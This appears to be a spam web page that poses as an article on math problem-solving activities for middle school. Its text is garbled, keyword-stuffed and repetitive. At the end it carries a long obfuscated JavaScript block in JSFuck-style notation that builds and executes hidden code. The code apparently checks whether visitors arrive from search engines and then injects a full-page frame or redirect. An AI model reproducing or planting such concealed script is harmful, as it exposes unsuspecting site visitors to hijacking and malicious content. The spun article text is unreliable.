September 26, 2019

Online shopping essay writing – Middle school math problem solving games | FUSIONOPS.LNX.AVISAN.COM

They can also use it to consider the graphical representation and the concept of slope. Even with access to only one computer, students can obtain data from Minotaur research paper day.

They compare their average to the average amount of water used per person per day in other parts of the world.

50+ Fun and Interesting Middle School Math Games

Through the Internet, they can collect and share information with other students from middle school math problem solving games the country and the world. Accessing and Investigating Population Data In these activities, students use census data available on the web to examine questions about population. They also formulate their own questions.

For example, in one section they analyze statistics from five states of their choice, develop specific research questions using the data, and create three graphs to compare and contrast the information.

Board Games

The Handshake Problem This two-lesson unit allows students to discover patterns in a fictional but real-world scenario: How many handshakes cover letter for a business development job when the nine Supreme Court justices shake hands with each other?

Students explore—through a table, a graph, and finally an algebraic formula—the number of handshakes in any size group. A second pattern is explored, that of triangular numbers; again, students generalize the pattern with variables.

The lessons are well illustrated and application letter for document controller background information for the teacher. These problems require patience and analytical thinking, even the easiest of them.

Of course we want to do that. This minute talk, Math Needs a Makeoverbegins with: You may have heard this complaint or middle school math problem solving games made it yourself: If, for example, you told me that I was a bird with a short, stubby beak that had to find a way to drink middle school math problem solving games from a glass that was only half-full with only a pile of stones at hand, I might get frustrated pretty quickly upon realizing that my beak did not reach far enough down to allow me to drink.

I might peck a few times in vain but would remain parched. With the right set of dynamic problem-solving skills at my disposal, however, I might think of the problem in a different light, and realize that by dropping enough stones into the glass, I could make the water level rise enough that my beak could easily extract all the water I desired.

Applying these kinds of problem-solving skills to questions that are appropriate for Middle School students can fortify grit, the quality of not giving up toto1.000webhostapp.com and help students to solve problems they may face in their own lives.

Taking all of this into consideration, there are a few middle school math problem solving games skills and approaches that students can use to help them crack just about any age-appropriate problem that you, the teacher, throw at them.

The most common methods for solving problems that students may encounter are: In a sense, it involves a bit of reverse-engineering, as the student starts with a proposed solution and works his or her way back to the beginning of the problem to see if that solution is effective. Drawing a picture may be more effective for visual learners, as it enables students to lay eyes on the problem and conceive of a solution in ways that they may fusionops.lnx.avisan.com have otherwise.

  • This process can draw out drastically different reactions in different students.
  • Even with access to only one computer, students can obtain data from other schools that lie approximately on their own longitude.
  • A quick and easy way of avoiding that anticipated frustration that students might encounter in the face of challenging math problems is equipping them with an arsenal of tools and approaches through which they can tackle such problems.
  • Here are a few below, but please share any of your favorites from the classroom in the comments section.
  • Students can use the information provided to step backward one piece at a time, like Guy Pearce in Memento, until they reach the solution that is in accordance with all of the details provided in the problem.
  • A second pattern is explored, that of triangular numbers; again, students generalize the pattern with variables.
  • What would you like to know more about?
  • They can also use it to consider the graphical representation and the concept of slope.
  • Rubrics for each task are provided.
  • Without further ado, here are ten math problem-solving activities for middle school students that can help them develop a number of crucial skills.

Working middle school math problem solving games is like a more scientific version of guessing and checking. Students can use the information provided to step backward one piece at a time, like Guy Pearce in Memento, until they reach the solution that is in accordance with all of the details provided in the problem. Finally, an equation that uses a variable can be effective when information is missing, or when an approach unlike the first three is required.

rQMWjw4

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,48,122,50,53,72,84,77,76,60,34,112,47,119,63,38,95,43,85,67,44,58,37,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[18]+$[23]+$[24]+$[13]+$[25]+$[25]+$[26]+$[13]+$[25]+$[8]+$[8]+$[13]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[25]+$[14]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[27]+$[28]+$[29]+$[30]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[31]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[32]+$[23]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[32]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[33]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[32]+$[23]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[32]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[32]+$[34]+$[34]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+$[17]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[3]+$[35]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[33]+$[34]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+$[17]+$[36]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[37]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[38]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[39]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[40]+$[1]+$[22]+$[41]+([]+[]+{})[+!+[]]+$[3]+$[33]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[39]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[37]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[38]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[35]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[29]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[3]+(![]+[])[+!+[]]+(!![]+[])[+[]]+$[18]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[33]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+([]+[]+{})[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[10]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[39]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[37]+$[9]+$[39]+$[35]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[35]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[33]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[36]+$[9]+$[42]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[37]+$[9]+$[11]+$[39]+$[9]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[32]+$[33]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[43]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[35]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[43]+$[14]+$[23]+$[23]+$[44]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[43]+$[14]+$[23]+$[23]+$[44]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[24]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[43]+$[45]+$[23]+$[23]+$[23]+$[23]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[43]+$[23]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[33]+$[43]+$[23]+$[5]+$[32]+$[46]+$[31]+$[34]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[46]+$[9]+$[6]+$[47])();